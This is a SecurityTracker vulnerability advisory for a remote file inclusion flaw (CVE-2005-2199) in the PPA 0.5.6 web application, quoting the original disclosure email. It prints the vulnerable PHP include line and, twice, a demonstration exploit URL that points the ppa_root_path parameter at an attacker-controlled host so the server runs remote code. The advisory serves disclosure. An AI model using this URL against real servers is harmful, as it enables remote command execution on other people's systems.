PPA Include File Bug Lets Remote Users Execute Arbitrary Commands
|
|
SecurityTracker Alert ID: 1014436 |
|
SecurityTracker URL: http://securitytracker.com/id/1014436
|
|
CVE Reference:
CVE-2005-2199
(Links to External Site)
|
Updated: Jun 15 2008
|
Original Entry Date: Jul 10 2005
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 0.5.6
|
Description:
V4mu from Anomaly 1n The System reported a vulnerability in PPA. A remote user can execute arbitrary commands on the target system.
The 'inc/functions.inc.php' script includes the 'inc/config.inc.php' file relative to the user-supplied 'ppa_root_path' parameter without properly validating the input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[path-to-ppa]/inc/functions.inc.php?config[ppa_root_path]=http://[attacker]
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.ppa.baiz.org/ppa/index.php (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 9 Jul 2005 11:12:01 -0300
Subject: ppa remote file inclusion
|
PPA 0.5.6 has a remote file inclusion founded by
V4mu from Anomaly 1n The System
the bug is in inc/functions.inc.php line 10:
include($config['ppa_root_path'] . "inc/config.inc.php");
Exploit:
www.target.com/[path-to-ppa]/inc/functions.inc.php?config[ppa_root_path]=http://[attacker]
------------------------------------------------------------------------------------------------------------------------
[A]nomaly [1]n [T]he [S]ystem
We are:
V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked
www.a1ts.org
|
|
